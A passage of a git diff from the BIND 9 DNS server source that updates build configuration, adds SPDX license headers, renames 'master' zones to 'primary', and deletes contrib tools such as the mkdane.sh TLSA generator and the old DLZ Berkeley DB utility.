-test -z "$with_dlz_bdb" && with_dlz_bdb=no
-test -z "$with_dlz_ldap" && with_dlz_ldap=no
-test -z "$with_dlz_mysql" && with_dlz_mysql=no
-test -z "$with_dlz_odbc" && with_dlz_odbc=no
-test -z "$with_dlz_postgres" && with_dlz_postgres=no
-test -z "$with_dlz_filesystem" && with_dlz_filesystem=no
-test -z "$with_dlz_stub" && with_dlz_stub=no
-# FIXME END
+AM_CONDITIONAL([DNSRPS], [test "$enable_dnsrps" != "no"])
 
 AC_CHECK_HEADERS([glob.h])
 
@@ -1606,6 +1568,64 @@ AC_CHECK_HEADERS([glob.h])
 AX_GCC_FUNC_ATTRIBUTE([constructor])
 AX_GCC_FUNC_ATTRIBUTE([destructor])
 
+#
+# Check whether to enable User Statically Defined Tracing.
+#
+# This is supported only on Linux now and requires SystemTap libraries.
+#
+# [pairwise: --enable-tracing=auto, --enable-tracing=yes, --disable-tracing]
+AC_ARG_ENABLE([tracing],
+	      [AS_HELP_STRING([--enable-tracing],
+			      [enable User Statically Defined Tracing])],
+	      [],
+	      [enable_tracing=auto])
+
+AC_ARG_VAR([DTRACE], [path to dtrace binary used to build User Statically Defined Tracing probes])
+AC_PATH_PROGS([DTRACE], [dtrace])
+AC_CHECK_HEADERS([sys/sdt.h])
+
+AC_MSG_CHECKING([whether to enable User Statically Defined Tracing support (default is auto)])
+AS_CASE([$enable_tracing],
+	[auto],	[enable_tracing=yes
+		 AS_IF([test "$ac_cv_header_sys_sdt_h" != "yes"], [enable_tracing=no])
+		 AS_IF([test -z "$DTRACE"],[enable_tracing=no])
+		 AC_COMPILE_IFELSE(
+		   [AC_LANG_PROGRAM([[]],
+				    [[#if !defined(__has_feature)
+				      #define __has_feature(x) 0
+				      #endif /* if !defined(__has_feature) */
+				      #if __has_feature(address_sanitizer)
+				      #define __SANITIZE_ADDRESS__ 1
+				      #endif /* if __has_feature(address_sanitizer) */
+				      #if defined(__SANITIZE_ADDRESS__)
+				      #error Address Sanitizer enabled
+				      #endif
+				     ]])],
+		   [],
+		   [enable_tracing=no]
+		 )])
+AS_CASE([$enable_tracing],
+	[yes], [AS_IF([test "$ac_cv_header_sys_sdt_h" != "yes"],
+		      [AC_MSG_ERROR([sys/sdt.h header not found])])
+		AS_IF([test -z "$DTRACE"],
+		      [AC_MSG_ERROR([The dtrace command not found])])
+		AC_MSG_RESULT([yes])],
+	[DTRACE=""
+	 AC_MSG_RESULT([no])])
+
+AS_CASE([$host],
+	[*-linux*],[have_systemtap=true])
+
+AM_CONDITIONAL([HAVE_SYSTEMTAP], [test -n "$have_systemtap"])
+AM_CONDITIONAL([HAVE_DTRACE], [test -n "$DTRACE"])
+
+# Use shim script if dtrace is not available
+AS_IF([test -z "$DTRACE"],
+      [DTRACE='$(top_srcdir)/util/dtrace.sh'])
+
+AC_SUBST([DTRACE])
+
+
 #
 # Files to configure.  These are listed here because we used to
 # specify them as arguments to AC_OUTPUT.
@@ -1627,7 +1647,6 @@ AC_CONFIG_FILES([bin/Makefile
 		 bin/nsupdate/Makefile
 		 bin/check/Makefile
 		 bin/confgen/Makefile
-		 bin/pkcs11/Makefile
 		 bin/plugins/Makefile])
 
 # Libraries
@@ -1636,10 +1655,8 @@ AC_CONFIG_FILES([lib/Makefile
 		 lib/isc/Makefile
 		 lib/dns/Makefile
 		 lib/ns/Makefile
-		 lib/irs/Makefile
 		 lib/isccfg/Makefile
-		 lib/isccc/Makefile
-		 lib/bind9/Makefile])
+		 lib/isccc/Makefile])
 
 # Documentation
 
@@ -1648,21 +1665,19 @@ AC_CONFIG_FILES([doc/Makefile
 		 doc/man/Makefile
 		 doc/misc/Makefile])
 
-# Generated headers
-
-AC_CONFIG_FILES([lib/isc/include/isc/platform.h])
-
-# Unit Tests
+# Unit tests and benchmarks
 
-AC_CONFIG_FILES([lib/isc/tests/Makefile
-		 lib/dns/tests/Makefile
-		 lib/ns/tests/Makefile
-		 lib/irs/tests/Makefile
-		 lib/isccc/tests/Makefile
-		 lib/isccfg/tests/Makefile])
+AC_CONFIG_FILES([tests/Makefile
+		 tests/bench/Makefile
+		 tests/isc/Makefile
+		 tests/dns/Makefile
+		 tests/ns/Makefile
+		 tests/irs/Makefile
+		 tests/isccfg/Makefile
+		 tests/libtest/Makefile])
 
-AC_CONFIG_FILES([lib/unit-test-driver.sh],
-		[chmod +x lib/unit-test-driver.sh])
+AC_CONFIG_FILES([tests/unit-test-driver.sh],
+		[chmod +x tests/unit-test-driver.sh])
 
 # System Tests
 
@@ -1671,12 +1686,14 @@ AC_CONFIG_FILES([bin/tests/Makefile
 		 bin/tests/system/conf.sh
 		 bin/tests/system/dyndb/driver/Makefile
 		 bin/tests/system/dlzexternal/driver/Makefile
-		 bin/tests/system/hooks/driver/Makefile])
+		 bin/tests/system/hooks/driver/Makefile
+		 bin/tests/system/rpz/testlib/Makefile
+                 ])
 
 AC_CONFIG_FILES([bin/tests/system/ifconfig.sh],
 		[chmod +x bin/tests/system/ifconfig.sh])
-AC_CONFIG_FILES([bin/tests/system/run.sh],
-		[chmod +x bin/tests/system/run.sh])
+AC_CONFIG_FILES([bin/tests/system/legacy.run.sh],
+		[chmod +x bin/tests/system/legacy.run.sh])
 AC_CONFIG_FILES([bin/tests/system/start.sh],
 		[chmod +x bin/tests/system/start.sh])
 AC_CONFIG_FILES([bin/tests/system/stop.sh],
@@ -1706,10 +1723,12 @@ report() {
     echo "Configuration summary:"
     echo "-------------------------------------------------------------------------------"
     echo "Optional features enabled:"
+    if test "yes" = "$with_jemalloc"; then
+	echo "    Memory allocator: jemalloc"
+    fi
     if test "yes" = "$enable_full_report" -o "standard" = "$with_locktype"; then
 	echo "    Mutex lock type: $with_locktype"
     fi
-    test "small" = "$with_tuning" && echo "    Small-system tuning (--with-tuning)"
     test "no" = "$enable_dnstap" || \
 	    echo "    Allow 'dnstap' packet logging (--enable-dnstap)"
     test -z "$MAXMINDDB_LIBS" || echo "    GeoIP2 access control (--enable-geoip)"
@@ -1728,6 +1747,9 @@ report() {
 	echo "    DNS Response Policy Service interface (--enable-dnsrps)"
     test "yes" = "$enable_fixed_rrset" && \
 	echo "    Allow 'fixed' rrset-order (--enable-fixed-rrset)"
+    test "yes" = "$enable_fips_mode" && \
+	echo "    FIPS mode in OpenSSL (--enable-fips-mode)"
+
     test "yes" = "$enable_querytrace" && \
 	echo "    Very verbose query trace logging (--enable-querytrace)"
     test "yes" = "$enable_singletrace" && \
@@ -1736,33 +1758,32 @@ report() {
 
     test "auto" = "$validation_default" && echo "    DNSSEC validation active by default (--enable-auto-validation)"
 
-    test "$CRYPTO" = "pkcs11" && (
-	echo "    Using PKCS#11 for Public-Key Cryptography (--with-native-pkcs11)"
-	echo "    PKCS#11 module (--with-pkcs11): $with_pkcs11"
-    )
-
-    echo "    Dynamically loadable zone (DLZ) drivers:"
-    test "no" = "$with_dlz_bdb" || \
-	echo "        Berkeley DB (--with-dlz-bdb)"
-    test "no" = "$with_dlz_ldap" || \
-	echo "        LDAP (--with-dlz-ldap)"
-    test "no" = "$with_dlz_mysql" || \
-	echo "        MySQL (--with-dlz-mysql)"
-    test "no" = "$with_dlz_odbc" || \
-	echo "        ODBC (--with-dlz-odbc)"
-    test "no" = "$with_dlz_postgres" || \
-	echo "        Postgres (--with-dlz-postgres)"
-    test "no" = "$with_dlz_filesystem" || \
-	echo "        Filesystem (--with-dlz-filesystem)"
-    test "no" = "$with_dlz_stub" || \
-	echo "        Stub (--with-dlz-stub)"
-    test "$with_dlz_bdb $with_dlz_ldap $with_dlz_mysql $with_dlz_odbc $with_dlz_postgres $with_dlz_filesystem $with_dlz_stub" = "no no no no no no no" && \
-	    echo "        None"
-
+    echo "-------------------------------------------------------------------------------"
+    echo "    Library versions:"
+    echo "      OpenSSL:		$OPENSSL_VERSION"
+    echo "      libuv:		$LIBUV_VERSION"
+    echo "      Userspace-RCU:	$RCU_VERSION"
+    if test "no" != "$with_jemalloc"; then
+      echo "      jemalloc:		$JEMALLOC_VERSION"
+    fi
     echo "-------------------------------------------------------------------------------"
 
     echo "Features disabled or unavailable on this platform:"
-    test "small" = "$with_tuning" || echo "    Small-system tuning (--with-tuning)"
+    if test "no" = "$with_jemalloc"; then
+      echo "    Memory allocator: system"
+      echo
+      echo "    +------------------------------------------+"
+      echo "    |             ==== WARNING ====            |"
+      echo "    |                                          |"
+      echo "    | This is NOT a recommended configuration. |"
+      echo "    | Using the system memory allocator causes |"
+      echo "    | reduced performance and increased memory |"
+      echo "    | fragmentation. Installing the jemalloc   |"
+      echo "    | memory allocator (version >= 4.0.0) is   |"
+      echo "    | strongly recommended.                    |"
+      echo "    +------------------------------------------+"
+      echo
+    fi
 
     test "no" = "$enable_dnstap" && \
 	    echo "    Allow 'dnstap' packet logging (--enable-dnstap)"
@@ -1777,9 +1798,8 @@ report() {
 
     test "yes" = "$validation_default" && echo "    DNSSEC validation requires configuration (--enable-auto-validation)"
 
-    test "$CRYPTO" = "pkcs11" || (
-	echo "    Using PKCS#11 for Public-Key Cryptography (--with-native-pkcs11)"
-    )
+    test "yes" = "$enable_fips_mode" || \
+	echo "    FIPS mode in OpenSSL (--enable-fips-mode)"
 
     test "yes" = "$enable_querytrace" || \
 	echo "    Very verbose query trace logging (--enable-querytrace)"
@@ -1801,7 +1821,11 @@ report() {
     echo "    localstatedir: $localstatedir"
     echo "-------------------------------------------------------------------------------"
     echo "Compiler: $CC"
-    $CC --version 2>&1 | sed 's/^/    /'
+    AS_IF([test "$GCC" = "yes"],
+	  [$CC --version 2>&1 | sed 's/^/    /'],
+	  [AS_CASE([$host],
+		   [*-solaris*],[$CC -V 2>&1 | sed 's/^/    /'],
+		   [$CC --version 2>&1 | sed 's/^/    /'])])
     echo "CFLAGS: $STD_CFLAGS $CFLAGS"
     echo "CPPFLAGS: $STD_CPPFLAGS $CPPFLAGS"
     echo "LDFLAGS: $LDFLAGS"
diff --git a/conftools/perllib/dnsconf/DNSConf-macros.h b/conftools/perllib/dnsconf/DNSConf-macros.h
index 35d63ebe34..905dc7ccce 100644
--- a/conftools/perllib/dnsconf/DNSConf-macros.h
+++ b/conftools/perllib/dnsconf/DNSConf-macros.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,6 +11,8 @@
  * information regarding copyright ownership.
  */
 
+#pragma once
+
 #define CONCAT(a, b) a##b
 #define DNSCONF_SET_STRING(FIELD)                                         \
 	void CONCAT(DNSConf_set, FIELD)(DNSConf * cfg, const char *arg) { \
diff --git a/conftools/perllib/dnsconf/DNSConf.i b/conftools/perllib/dnsconf/DNSConf.i
index 6e006d79fb..db548bc499 100644
--- a/conftools/perllib/dnsconf/DNSConf.i
+++ b/conftools/perllib/dnsconf/DNSConf.i
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -281,10 +283,6 @@ INT_FIELD_DEFS(recursiveclients)
 INT_FIELD_DEFS(minroots)
 INT_FIELD_DEFS(serialqueries)
 INT_FIELD_DEFS(sigvalidityinterval)
-INT_FIELD_DEFS(datasize)
-INT_FIELD_DEFS(stacksize)
-INT_FIELD_DEFS(coresize)
-INT_FIELD_DEFS(files)
 INT_FIELD_DEFS(maxcachesize)
 INT_FIELD_DEFS(maxncachettl)
 INT_FIELD_DEFS(maxcachettl)
diff --git a/conftools/perllib/dnsconf/named1.conf b/conftools/perllib/dnsconf/named1.conf
index b28640a98f..5243e97aa0 100644
--- a/conftools/perllib/dnsconf/named1.conf
+++ b/conftools/perllib/dnsconf/named1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -39,22 +41,22 @@ zone "." {
 #	};
 #
 #	zone "0.0.127.in-addr.arpa" {
-#		type master;
+#		type primary;
 #		file "/etc/namedb/localhost.rev";
 #	};
 #
 #	zone "10.in-addr.arpa" {
-#		type master;
+#		type primary;
 #		file "/etc/namedb/primary/10";
 #	};
 #
 #	zone "jab.fr" {
-#		type master;
+#		type primary;
 #		file "/etc/namedb/primary/jab.fr";
 #	};
 #
 ##	zone "test-zone.com" {
-##		type master;
+##		type primary;
 ##		file "/usr/tmp/test-zone.com";
 ##	};
 #};
diff --git a/conftools/perllib/dnsconf/test.pl b/conftools/perllib/dnsconf/test.pl
index 32fb0cc6dd..558710b390 100644
--- a/conftools/perllib/dnsconf/test.pl
+++ b/conftools/perllib/dnsconf/test.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/contrib/README b/contrib/README
index 466e11d1c7..5f0682b302 100644
--- a/contrib/README
+++ b/contrib/README
@@ -1,39 +1,31 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 This directory contains scripts, tools, and other useful accessories to
 BIND 9.  Contrib software is not supported by ISC, but reported bugs will
 be fixed as time permits.
 
     - scripts/
 
-      Assorted useful scripts, including 'nanny' which monitors 
+      Assorted useful scripts, including 'nanny' which monitors
       named and restarts it in the event of a crash, 'zone-edit'
       which enables editing of a dynamic zone, and others.
 
-    - dane/
-
-      mkdane.sh generates TLSA records for use with DNS-based
-      Authentication of Named Entities (DANE).
-
-    - dnspriv/
-
-      Sample configuration for setting up a DNS-over-TLS server
-      using BIND with Nginx as a TLS proxy.
-
-    - kasp/
-
-      Scripts for converting key and signature policies from OpenDNSSEC
-      KASP format to the policy.conf format used by dnssec-keymgr.
-
     - dlz/modules
 
       Dynamically linkable DLZ modules that can be configured into
       named at runtime, enabling access to external data sources including
       LDAP, MySQL, Berkeley DB, perl scripts, etc.
 
-    - dlz/drivers
-
-      Old-style DLZ drivers that can be linked into named at compile
-      time. (These are no longer actively maintained and are expected
-      to be removed eventually.)
-
 Some links to useful software and other resources related to BIND 9 and
 DNS can be found at https://www.isc.org/dns-tools-and-resources.
diff --git a/contrib/dane/mkdane.sh b/contrib/dane/mkdane.sh
deleted file mode 100755
index fbae4aadeb..0000000000
--- a/contrib/dane/mkdane.sh
+++ /dev/null
@@ -1,137 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2010, 2012  Internet Systems Consortium, Inc. ("ISC")
-#
-# Permission to use, copy, modify, and/or distribute this software for any
-# purpose with or without fee is hereby granted, provided that the above
-# copyright notice and this permission notice appear in all copies.
-#
-# THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-# AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-# PERFORMANCE OF THIS SOFTWARE.
-#
-# Generate a DNS RR from an x.509 certificate
-# Currently only supports TLSA, but can be extended to support
-# other DANE types such as SMIMEA in the future.
-#
-# Requires: openssl
-
-USAGE="$BASENAME [options] <filename>
-Options:
-        -f <input format>: PEM | DLR
-        -n <name>: record name (default: _443._tcp)
-        -o <origin>: zone origin (default: none; name will be relative)
-        -m <matching type>: NONE (0) | SHA256 (1) | SHA512 (2)
-        -r <RR type>: TLSA
-        -s <selector>: FULL (0) | PK (1)
-        -t <ttl>: TTL of the TLSA record (default: none)
-        -u <certificate usage>: CA (0) | SERVICE (1) | TA (2) | DOMAIN (3)"
-
-NM="_443._tcp"
-CU=2
-SELECTOR=0
-MTYPE=1
-IN=
-FORM=PEM
-TTL=
-RRTYPE=TLSA
-BASENAME=`basename $0`;
-
-while getopts "xn:o:u:s:t:m:i:f:r:" c; do
-    case $c in
-	x) set -x; DEBUG=-x;;
-	m) MTYPE="$OPTARG";;
-        n) NM="$OPTARG";;
-        o) ORIGIN="$OPTARG";;
-        r) RRTYPE="$OPTARG";;
-	s) SELECTOR="$OPTARG";;
-        t) TTL="$OPTARG";;
-	u) CU="$OPTARG";;
-	*) echo "$USAGE" 1>&2; exit 1;;
-    esac
-done
-shift `expr $OPTIND - 1 || true`
-
-if test "$#" -eq 1; then
-    IN=$1
-else
-    echo "$USAGE" 1>&2; exit 1
-fi
-
-ORIGIN=`echo $ORIGIN | sed 's/\([^.]$\)/\1./'`
-if [ -n "$ORIGIN" ]; then
-    NM=`echo $NM | sed 's/\.$//'`
-    NM="$NM.$ORIGIN"
-fi
-
-case "$CU" in
-    [Cc][Aa]) CU=0;;
-    [Ss][Ee][Rr][Vv]*) CU=1;;
-    [Tt][Aa]) CU=2;;
-    [Dd][Oo][Mm]*) CU=3;;
-    [0123]) ;;
-    *) echo "bad certificate usage -u \"$CU\"" 1>&2; exit 1;;
-esac
-
-case "$SELECTOR" in
-    [Ff][Uu][Ll][Ll]) SELECTOR=0;;
-    [Pp][Kk]) SELECTOR=1;;
-    [01]) ;;
-    *) echo "bad selector -s \"$SELECTOR\"" 1>&2; exit 1;;
-esac
-
-case "$MTYPE" in
-    0|[Nn][Oo][Nn][Ee]) HASH='od -A n -v -t xC';;
-    1|[Ss][Hh][Aa]256) HASH='openssl dgst -sha256';;
-    2|[Ss][Hh][Aa]512) HASH='openssl dgst -sha512';;
-    *) echo "bad matching type -m \"$MTYPE\"" 1>&2; exit 1;;
-esac
-
-case "$FORM" in
-    [Pp][Ee][Mm]) FORM=PEM;;
-    [Dd][Ll][Rr]) FORM=DLR;;
-    *) echo "bad input file format -f \"$FORM\"" 1>&2; exit 1
-esac
-
-case "$RRTYPE" in
-    [Tt][Ll][Ss][Aa]) RRTYPE=TLSA;;
-    *) echo "invalid RR type" 1>&2; exit 1
-esac
-
-if test -z "$IN" -o ! -s "$IN"; then
-    echo "bad input file -i \"$IN\"" 1>&2; exit 1
-fi
-
-echo "; $BASENAME -o$NM -u$CU -s$SELECTOR -m$MTYPE -f$FORM $IN"
-
-(if test "$SELECTOR" = 0; then
-    openssl x509 -in "$IN" -inform "$FORM" -outform DER
-else
-    openssl x509 -in "$IN" -inform "$FORM" -noout -pubkey		\
-	| sed -e '/PUBLIC KEY/d'					\
-	| openssl base64 -d 
-fi)									\
-    | $HASH								\
-    | awk '
-	# format Association Data as in Appendix C of the DANE RFC
-	BEGIN {
-		print "'"$NM\t\t$TTL\tIN TLSA\t$CU $SELECTOR $MTYPE"' ("; 
-		leader = "\t\t\t\t\t"; 
-	}
-	/.+/ {
-	    gsub(/ +/, "", $0);
-	    buf = buf $0;
-	    while (length(buf) >= 36) {
-		print leader substr(buf, 1, 36);
-		buf = substr(buf, 37);
-	    }
-	}
-	END {
-            if (length(buf) > 34)
-                print leader buf "\n" leader ")";
-            else
-                print leader buf " )";
-        }'
diff --git a/contrib/dane/tlsa6698.pem b/contrib/dane/tlsa6698.pem
deleted file mode 100644
index 9b9c1eeb44..0000000000
--- a/contrib/dane/tlsa6698.pem
+++ /dev/null
@@ -1,26 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIEVDCCArwCCQCrWNJOd60q9jANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQGEwJO
-TDEWMBQGA1UECBMNTm9vcmQtSG9sbGFuZDESMBAGA1UEBxMJQW1zdGVyZGFtMQww
-CgYDVQQKEwNPUzMxIzAhBgNVBAMTGmRhbmUua2lldi5wcmFjdGljdW0ub3MzLm5s
-MB4XDTEyMDExNjE2NTcwM1oXDTIyMDExMzE2NTcwM1owbDELMAkGA1UEBhMCTkwx
-FjAUBgNVBAgTDU5vb3JkLUhvbGxhbmQxEjAQBgNVBAcTCUFtc3RlcmRhbTEMMAoG
-A1UEChMDT1MzMSMwIQYDVQQDExpkYW5lLmtpZXYucHJhY3RpY3VtLm9zMy5ubDCC
-AaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAOYshKWv5Z8KKmslDe5oesjF
-xgT1fSbOshGRQP+sOMS5y76JIwguf4Fia2rV3qDIdxx048qn9hMFSu+jZz5I/+R7
-P3r5h94oGmgjCyS52hqY3L5RGVtg5C/XUXwyjZg+JqgnyHerkU7kwb/erUi9Jb5f
-LEc7qcHLvd2gw3TQ1Yw4nMPW2MIGYuGc92jzJEG399FK6olmznwyoXIqs4Yj0AgC
-mp5HAog/i5d6Gh5Skr+K1yI51AOTN7hqOsYPoAEpBFIXe/F5hgmgWhMPAzRXpSEm
-KfvduOcOKp5lVoc8T3ykauSosXjwX7MZAF4cHH1L1336NANVY8EmqiwzKLkA55kK
-yXh/AdqC90w9S2Z0zOzh/Uxu+eZkT0Y17e2jnYsOL3yOBtrndWITvT1ggxF1vikE
-QrSvxa5vRrdphVoGfBCX5heWJSnhZvIq7hDduYG4zW/xfT1wcjFpA42/vBpEnI0N
-MbxoPF884mFI5C7Ju9TZ8mFWmyW1PB1/wt3/a0ysBQIDAQABMA0GCSqGSIb3DQEB
-BQUAA4IBgQArKr4GPpyGrEofeDU3IJEHnIJ2qcLF0exXZN5SP92r3qs/005v5sug
-VFgKZ4WmY1ldkBMrk9Rzkp6B+giH0v/3ioHH0BS5d3irasnl5pD29anpK7X7q3G4
-V65ptuGL3MsLpvzZ1LCEo082NRSMSV1I/mNZA7iI7B3rJhBUjt1I1j+GUTpFYkaY
-MUjA1duC1zpMNQpCu2YddjQw/GyOX50T6ht2qlKkw1jl6gQAD3lGGDA6ts7qTpqO
-nHTXPBsLe68W3t52lrXi8gb3dxAPVyfhaE1BMvXmkvR69nVuqLQhAAvgMbXY8CIO
-Q2tR+xVP6VlTM8E6JAP53gjl3cWiL9YYLjOVk+JjdEUCILwU8+QP8z8IRSawnDQl
-BwLoo1KzMszLD53izysziCO5KvxhwLa4q9ta9xjtjdqXwpjka4KgGxSBSGjPpPLD
-Ymi//0pZH0Jli/dZGJAtPkJt/h1f8PxqISBx9tqL2DP+LlYNh3dejukzPAW2+461
-ZYnZENteqQM=
------END CERTIFICATE-----
diff --git a/contrib/dlz/bin/.gitignore b/contrib/dlz/bin/.gitignore
deleted file mode 100644
index f3c7a7c5da..0000000000
--- a/contrib/dlz/bin/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-Makefile
diff --git a/contrib/dlz/bin/dlzbdb/dlzbdb.c b/contrib/dlz/bin/dlzbdb/dlzbdb.c
deleted file mode 100644
index f77ebb1505..0000000000
--- a/contrib/dlz/bin/dlzbdb/dlzbdb.c
+++ /dev/null
@@ -1,1295 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_BDB
-
-/*
- * exit codes
- * 0 everything ok
- * 1 error parsing command line
- * 2 Missing, too many or invalid combination of command line parameters
- * 3 Unable to open BDB database.
- * 4 Unable to allocate memory for, or create lexer.
- * 5 unable to perform BDB cursor operation
- */
-#include <db.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/buffer.h>
-#include <isc/commandline.h>
-#include <isc/formatcheck.h>
-#include <isc/lex.h>
-#include <isc/mem.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-/* shut up compiler warnings about no previous prototype */
-
-static void
-show_usage(void);
-
-int
-getzone(DB *dbp, const DBT *pkey, const DBT *pdata, DBT *skey);
-
-int
-gethost(DB *dbp, const DBT *pkey, const DBT *pdata, DBT *skey);
-
-void
-bdb_cleanup(void);
-
-isc_result_t
-bdb_opendb(DBTYPE db_type, DB **db_out, const char *db_name, int flags);
-
-void
-put_data(bool dns_data, char *input_key, char *input_data);
-
-void
-insert_data(void);
-
-isc_result_t
-openBDB(void);
-
-isc_result_t
-open_lexer(void);
-
-void
-close_lexer(void);
-
-isc_result_t
-bulk_write(char type, DB *database, DBC *dbcursor, DBT *bdbkey, DBT *bdbdata);
-
-void
-operation_add(void);
-
-void
-operation_bulk(void);
-
-void
-operation_listOrDelete(bool dlt);
-
-/*%
- * Maximum length of a single data line that
- * may be inserted into database by this program.
- * If you need to insert a line of data that is more
- * than 10,000 characters change this definition.
- */
-
-#define max_data_len 10000
-
-/*%
- * BDB database names.  If you want to use different
- * database names change them here.
- */
-
-#define dlz_data   "dns_data"
-#define dlz_zone   "dns_zone"
-#define dlz_host   "dns_host"
-#define dlz_client "dns_client"
-
-/*%
- * Error code returned by BDB secondary index callback functions.
- * This error is returned if the callback function could not create
- * the secondary index for any reason.
- */
-
-#define BDBparseErr 1
-
-/* A struct to hold all the relevant info about the database */
-
-typedef struct bdb_instance {
-	DB_ENV *dbenv; /* BDB environment */
-	DB *data;      /* dns_data database handle */
-	DBC *cursor;   /* database cursor */
-	DBC *cursor2;  /* second cursor used during list operation. */
-	DBC *cursor3;  /* third cursor used during list operation */
-	DBC *cursor4;  /* fourth cursor used during list operation */
-	DB *zone;      /* zone database handle */
-	DB *host;      /* host database handle */
-	DB *client;    /* client database handle */
-} bdb_instance_t;
-
-/* Possible operations */
-
-#define list 1 /* list data */
-#define dele 2 /* delete data */
-#define add  3 /* add a single piece of data */
-#define bulk 4 /* bulk load data */
-
-/*%
- * quit macro is used instead of exit.  quit always tries to close the lexer
- * and the BDB database before exiting.
- */
-
-#define quit(i)        \
-	close_lexer(); \
-	bdb_cleanup(); \
-	exit(i);
-
-/*%
- * checkOp is used to verify that only one operation (list, del, add,
- * bulk from file, bulk from stdin) is specified on the command line.
- * This prevents a user from specifying two operations on the command
- * line, which would make no sense anyway.
- */
-
-#define checkOp(x)                                                   \
-	if (x != 0) {                                                \
-		fprintf(stderr, "\nonly one operation "              \
-				"(l e d a f s) may be specified\n"); \
-		quit(2);                                             \
-	}
-
-/*%
- * checkParam is used to only allow a parameter to be specified once.
- * I.E. the parameter key can only be used on the command line once.
- * any attempt to use it twice causes an error.
- */
-
-#define checkParam(x, y)                       \
-	if (x != NULL) {                       \
-		fprintf(stderr,                \
-			"\n%s may only "       \
-			"be specified once\n", \
-			y);                    \
-		quit(2);                       \
-	}
-
-/*%
- * checkInvalidParam is used to only allow parameters which make sense for
